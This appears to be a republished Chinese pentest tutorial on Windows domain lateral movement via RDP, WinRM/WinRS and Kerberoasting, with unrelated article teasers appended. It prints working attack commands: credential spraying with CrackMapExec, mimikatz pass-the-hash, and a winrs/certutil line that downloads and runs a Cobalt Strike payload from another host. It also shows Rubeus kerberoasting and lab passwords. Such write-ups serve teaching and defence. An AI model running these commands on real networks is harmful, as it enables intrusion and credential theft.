内网安全:RDP WinRS WinRM SPN Kerberos 横向移动

news2024/11/19 3:35:22

目录

WinRM协议

RDP协议

域横向移动:RDP协议

RDP协议利用

一. 探针服务

二. 获取NTML Hash 明文密码

三. 连接执行

域横向移动:WinRM WinRS

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

三. 上线CS

四. CS插件横向移动

域横向移动:SPN Kerberos

 通过SPN协议信息收集

Kerberoasting 攻击

攻击原理

一. SPN扫描​​​​​​​

二. 检测RC4加密的服务票据

手工检测可以攻击的票据

三. Mimikatz导出票据

四. 使用脚本破解票据


WinRM协议

WinRM是一种远程管理协议,用于在Windows操作系统上进行远程管理和命令执行。它使用基于Web服务的标准协议,如HTTP或HTTPS,并使用SOAP消息格式进行通信。WinRM提供了更全面的远程管理功能,包括执行命令、配置设置、获取系统信息、安装软件等操作。它通常与PowerShell等工具结合使用,使管理员能够远程管理和监控Windows计算机。

WinRM(Windows 远程管理)是由 Microsoft 开发的一种用于远程管理和管理员 Windows 系统的协议。它提供了一种标准化的方式来与远程计算机进行通信和执行远程管理任务。

以下是 WinRM 协议的一些关键方面:

  1. 通信协议:WinRM 基于 Web Services Management(WS-Management)标准,使用 SOAP(简单对象访问协议)通过 HTTP 或 HTTPS 进行通信。它利用行业标准的协议和技术实现安全的远程通信。

  2. 身份验证:WinRM 支持多种身份验证方法,包括 Kerberos、NTLM(NT LAN Manager)和基本身份验证。身份验证方法的选择取决于环境的配置和安全要求。

  3. 端口和终结点:WinRM 默认使用 TCP 端口 5985(HTTP)和 5986(HTTPS)。远程计算机上需要启用 WinRM 服务并配置相应的终结点,以便进行远程管理。

  4. 指令执行:使用 WinRM,管理员可以远程执行命令、脚本和 PowerShell cmdlet,从而实现对远程 Windows 计算机的管理。这使得在无需直接物理访问计算机的情况下,能够高效地进行管理和故障排除任务。

  5. 远程配置和管理:WinRM 允许管理员远程配置 Windows 系统的各个方面,如网络设置、防火墙规则、组策略和服务。它提供了一个统一的接口,从中心管理站点对远程系统进行管理。

  6. 与 PowerShell 的集成:WinRM 与 PowerShell 密切集成,PowerShell 是 Microsoft 强大的命令行 shell 和脚本语言。PowerShell cmdlet 可以利用 WinRM 进行远程命令执行和从 Windows 系统检索管理信息。

WinRM 在企业环境中常用于远程管理、自动化和远程支持等方面。它使管理员能够从一个中心管理站点高效、安全地管理大量的 Windows 计算机。

WinRS是一个命令行工具,用于在远程计算机上执行命令。它使用WinRM协议进行通信,并可以通过命令行界面或批处理脚本使用。WinRS允许管理员通过命令行方式在远程计算机上执行命令,而不需要在远程计算机上登录交互式会话。它适用于一次性执行简单命令的场景,如执行远程脚本、复制文件、查询系统信息等。

RDP协议

RDP(Remote Desktop Protocol)是一种用于远程桌面连接和远程管理的协议。它允许用户通过网络远程访问和控制远程计算机的桌面界面。

以下是RDP协议的一般工作流程:

  1. 客户端连接:用户在本地计算机上运行RDP客户端应用程序,并提供要连接的远程计算机的IP地址或主机名。

  2. 连接建立:客户端通过TCP/IP协议与远程计算机的RDP服务建立连接。默认情况下,RDP使用端口3389。

  3. 身份验证:一旦连接建立,客户端需要进行身份验证。用户输入远程计算机的用户名和密码进行认证。这些凭据将在安全的加密通道中传输,以确保安全性。

  4. 会话建立:一旦身份验证成功,远程计算机将创建一个新的用户会话,并将其桌面界面传输回客户端。客户端可以实时查看和操作远程计算机的桌面。

  5. 远程控制:客户端通过RDP协议向远程计算机发送用户输入(例如键盘和鼠标操作),远程计算机将这些输入应用于其桌面界面。客户端可以远程控制远程计算机,并执行各种操作。

  6. 会话结束:当用户关闭RDP连接或断开网络连接时,远程会话结束,并且客户端和远程计算机之间的连接被断开。

RDP协议具有良好的图形传输性能和数据压缩能力,使得远程桌面操作可以以较低的延迟和高帧率进行。它广泛应用于远程技术支持、远程管理、远程办公等场景,提供了便捷的远程访问和控制功能。

域横向移动:RDP协议

远程桌面服务 支持明文及HASH连接

条件:对方开启RDP服务 远程桌面
RDP连接:

  • 直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)
  • 建立节点进行连接(使用代理工具) 推荐
  • 端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)

采用第二种方案,CS节点搭建,攻击机代理到CS上,直接攻击机上测试即可

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号

RDP协议利用

一. 探针服务

cs 内置端口扫描3389

二. 获取NTML Hash 明文密码

CrackMapExec&MSF 批扫用户名密码验证

从Webserver上扫描得到域内用户名,读取所有的NTML Hash,明文密码

从本地管理员和域用户,两个角度扫描,最终得到用户对应的密码

proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt

三. 连接执行

明文连接:win攻击机 本地 桌面远控连接

mstsc /console /v:192.168.3.32 /admin

CS插件 NTML Hash连接

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

圆孔桌面 

两个用户同时登录主机

域横向移动:WinRM WinRS

利用WinRM服务,采用WinRS连接

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。

默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:双方都启用的Winrm rs的服务!

使用此服务需要管理员级别凭据

Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。

攻击机开启WinRM协议,WinRS命令

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

执行命令

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

三. 上线CS

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"

四. CS插件横向移动

域横向移动:SPN Kerberos

SPN协议可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

Kerberoasting 攻击:这种攻击方式是建立在没有NTML Hash或者明文密码的情况下的,可以尝试采取破解rc4加密得到明文密码,再去横向移动的思路

这两个常常结合起来一起使用,SPN探针域内服务,利用工具筛选出可利用的服务(rc4加密),逆向破解得到明文密码。

Kerberoast攻击流程:

  1. SPN服务发现
  2. 请求服务票据(工具判断与powershell脚本判断)
  3. 服务票据的导出(mimikatz导出)
  4. 服务票据的暴力破解(使用密码字典进行RC4协议破解)

如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。这种加密方式是可以破解的

如果选择是AES,就是安全无法逆向破解的

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

 通过SPN协议信息收集

可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

shell setspn -T GOd.org -q */*

 根据服务筛选主机

powershell setspn -T God.org -q */* | findstr "MSSQL"

Kerberoasting 攻击

背景:拿下一台主机Win7,但是MImikatz抓取密码失败,没有获得任何的Hash,明文密码

原因:主机修改了注册表,打过补丁都有可能导致Mimikatz失败

攻击条件:票据采用RC4加密,可以采用工具Rebues检测或者查看票据加密类型

这里攻击的是服务票据,通过破解服务票据的到明文密码

攻击原理

Kerberoasting是一种针对Active Directory(AD)环境中使用Kerberos身份验证的服务的攻击技术。它利用了Kerberos协议的一个弱点,即服务账户的服务票据(Service Ticket)是基于服务账户的加密密码生成的。攻击者可以通过抓取到的服务票据离线破解该密码,并最终获取到服务账户的明文密码。

攻击的过程如下:

  1. 攻击者在AD环境中找到目标服务账户,并请求该服务账户的服务票据。

  2. AD会返回加密的服务票据给攻击者。

  3. 攻击者将加密的服务票据保存下来,离线进行破解。

  4. 攻击者使用密码破解工具(例如Hashcat)对保存的服务票据进行破解。由于服务票据是使用服务账户的密码生成的,因此攻击者可以通过尝试不同的密码来破解该密码。

  5. 一旦攻击者成功破解了服务账户的密码,他们就可以使用这个密码来登录该服务账户,获取进一步的访问权限。

一. SPN扫描

CS执行命令,在CS中探针域服务

shell setspn -T 0day.org -q */*

那个看着不方便,直接放到主机上看吧

powershell setspn -T 0day.org -q */*

得到当前域内所有主机上的服务

klist 查看当前主机的票据,每张票据的最下面表示加密的类型。TGT票据

二. 检测RC4加密的服务票据

检测方式一:利用工具

项目地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

.\Rebeus.exe kerberoast

检测出来SQL Server服务可以攻击 采用RC4 下面是Hash值

 klist查看,这工具本质也是请求服务,生成服务票据

但是没看到TGT票据,只有服务票据,很奇怪

检测方式二:手工检测,先请求生成票据,再检测

手工检测可以攻击的票据

 

三. Mimikatz导出票据

四. 使用脚本破解票据

得到明文密码,因为服务票据是提供服务的主机生成的,所以得到的明文密码也是提供服务的主机的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1417521.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

日常学习之:vue + django + docker + heroku 对后端项目 / 前后端整体项目进行部署

文章目录 使用 docker 在 heroku 上单独部署 vue 前端使用 docker 在 heroku 上单独部署 django 后端创建 heroku 项目构建 Dockerfile设置 settings.pydatabase静态文件管理安全设置applicaiton & 中间件配置 设置 requirements.txtheroku container 部署应用 前后端分别部…

解读BEVFormer,新一代自动驾驶视觉工作的基石

文章出处 BEVFormer这篇文章很有划时代的意义,改变了许多视觉领域工作的pipeline[2203.17270] BEVFormer: Learning Birds-Eye-View Representation from Multi-Camera Images via Spatiotemporal Transformers (arxiv.org)https://arxiv.org/abs/2203.17270 BEV …

深入理解C语言(3):自定义类型详解

文章主题:结构体类型详解🌏所属专栏:深入理解C语言📔作者简介:更新有关深入理解C语言知识的博主一枚,记录分享自己对C语言的深入解读。😆个人主页:[₽]的个人主页🏄&…

使用毫米波雷达传感器的功能安全兼容系统设计指南1(TI文档)

摘要 功能安全标准规定了在系统中实施安全的要求,并有助于概括该系统要达到的安全目标。包括功能安全的系统设计不仅要降低操作不当的风险,还要检测故障并将其影响降到最低。随着汽车和工业系统的自主性越来越强,严格的功能安全要求被强制执行…

docker中安装seata,以nacos为配置中心

docker中安装seata,以nacos为配置中心 一、环境二、拉取seata镜像1、查看seata有哪些镜像2、查看原来有没有seata镜像3、拉取最新版本4、拉取指定版本 三、配置seata1、创建seata相关的数据库2、创建seata配置文件目录3、启动seata容器4、复制seata容器下的配置文件…

leetcode刷题(剑指offer) 509.斐波那契数

509.斐波那契数 斐波那契数 (通常用 F(n) 表示)形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始,后面的每一项数字都是前面两项数字的和。也就是: F(0) 0,F(1) 1 F(n) F(n - 1) F(n - 2),其中 n…

读书笔记:九句耐人寻味的话

“情商一定是让别人和自己都舒服。如果让别人舒服,自己却很痛苦,那不叫情商,叫智障。” Emotional intelligence must be about making both others and oneself comfortable. If it makes others comfortable but oneself miserable, thats …

盛最多水的容器[中等]

一、题目 给定一个长度为n的整数数组height。有n条垂线,第i条线的两个端点是(i, 0)和(i, height[i])。找出其中的两条线,使得它们与x轴共同构成的容器可以容纳最多的水。返回容器可以储存的最大水量。也就是求x轴与y轴的面积。 说明:你不能倾…

Threejs 展示——obj 格式模型导入

文章目录 需求分析1. HTML版本2. Vue 版本 需求 导入obj 格式的模型数据 分析 .obj&#xff1a;Wavefront OBJ 格式&#xff0c;是一种广泛使用的三维模型文件格式。预览 .obj格式文件的软件可点此下载需要准备两种格式的数据&#xff0c;如下所示 1. HTML版本 html <!…

电脑和手机连接酒店的wifi,网络不通导致charles无法抓手机的包

查看苹果手机&#xff0c;连wifi后的ip地址 电脑去ping 手机的ip地址&#xff0c;发现ping不通 解决方案&#xff1a; 应该是酒店wifi的问题&#xff0c;让朋友开个手机热点&#xff0c;电脑和我的手机都连这个热点&#xff0c;就可以抓包了

13.Golang中面向对象的多态及基本要素

目录 概述实践多态实现代码结果 基本要素 结束 概述 Golang中类的表示与封装继承 用这种方式并不能实现多态 需要结合 interface 来实现。 实践 多态实现 代码 package mainimport "fmt"type AnimalIF interface {// 这两个方法&#xff0c;实现类&#xff0c;必…

python笔记10

1、继承 继承是面向对象编程中的一个重要概念&#xff0c;它允许一个类&#xff08;子类&#xff09;继承另一个类&#xff08;父类&#xff09;的属性和方法。通过继承&#xff0c;子类可以重用父类的代码&#xff0c;并且有机会添加新的属性和方法&#xff0c;或者重写父类的…

【C++】一题掌握空指针

今天看见一道面试题&#xff0c;比较有意思&#xff0c;这一分享出来&#xff1a; 1.下面程序能编译通过吗&#xff1f; 2.下面程序会崩溃吗&#xff1f;在哪里崩溃 class A {public:void PrintA(){cout<<_a<<endl;}void Show(){cout<<"Show()"&…

.ui文件相关

目录 ui类生成过程&#xff1a; 提问&#xff1a; 等以后自己熟练了用代码写这些样式内容&#xff0c;尽量用代码写&#xff0c;原因很简单&#xff1a; 用代码写的可以直接修改代码&#xff0c;但是在设计界面修改的东西&#xff0c;电脑没有QC这玩意&#xff0c;还真不好改…

ChatGPT4 比 ChatGPT3.5 强在了那里?

刚开始的时候我还在纠结&#xff0c;一个月20 刀的ChatGPT4 &#xff0c;到底值不值这个价钱&#xff1f;使用过后发现&#xff0c;诶嘛真香。因为 GPT4 比 GPT3.5 多了太多功能&#xff0c;特别是识图能力&#xff0c;用好的话效率翻倍。 1. 看图写代码 ChatGPT4 相比 ChatG…

【极数系列】Flink集成DataSource读取集合数据(07)

文章目录 01 引言02 简介概述03 基于集合读取数据3.1 集合创建数据流3.2 迭代器创建数据流3.3 给定对象创建数据流3.4 迭代并行器创建数据流3.5 基于时间间隔创建数据流3.6 自定义数据流 04 源码实战demo4.1 pom.xml依赖4.2 创建集合数据流作业4.3 运行结果日志 01 引言 源码地…

用ASM HEMT模型提取GaN器件的参数

标题&#xff1a;Physics-Based Multi-Bias RF Large-Signal GaNHEMT Modeling and Parameter Extraction Flow (JEDS 17年) 模型描述 该模型的核心是对表面势&#xff08;ψ&#xff09;及其随施加的栅极电压&#xff08;Vg&#xff09;和漏极电压&#xff08;Vd&#xff09…

【数据结构1-3】集合

有时候&#xff0c;我们并不关心数据之间的前后关系&#xff0c;也不关心数据的层次关系。一些确定元素只是单纯的聚集在一起&#xff0c;这样的元素聚集体被称为集合。 当希望知道某个数据是否存在一个集合中&#xff0c;或者两个元素是否在同一个集合中时&#xff0c;就需要使…

JVM系列——对象管理

JVM对象分布 对象头 第一类是用于存储对象自身的运行时数据&#xff0c;如哈希码&#xff08;HashCode&#xff09;、GC 分代年龄、锁状态标志、线程持有的锁、偏向线程 ID、偏向时间戳等 另外一部分是类型指针&#xff0c;即对象指向它的类型元数据的指针&#xff0c;Java 虚…

敲黑板啦!CSGO游戏搬砖项目操作注意事项

CSGO游戏搬砖项目怎么赚钱的&#xff0c;利润在哪&#xff1f; 1.两个平台之间币种不一样&#xff0c;就存在一个汇率差&#xff0c;两平台装备价格也不一样&#xff0c;汇率差-价格差利润。 CSGO游戏搬砖项目具体有哪些操作步骤&#xff1f; 1、准备一台电脑&#xff0c;配置…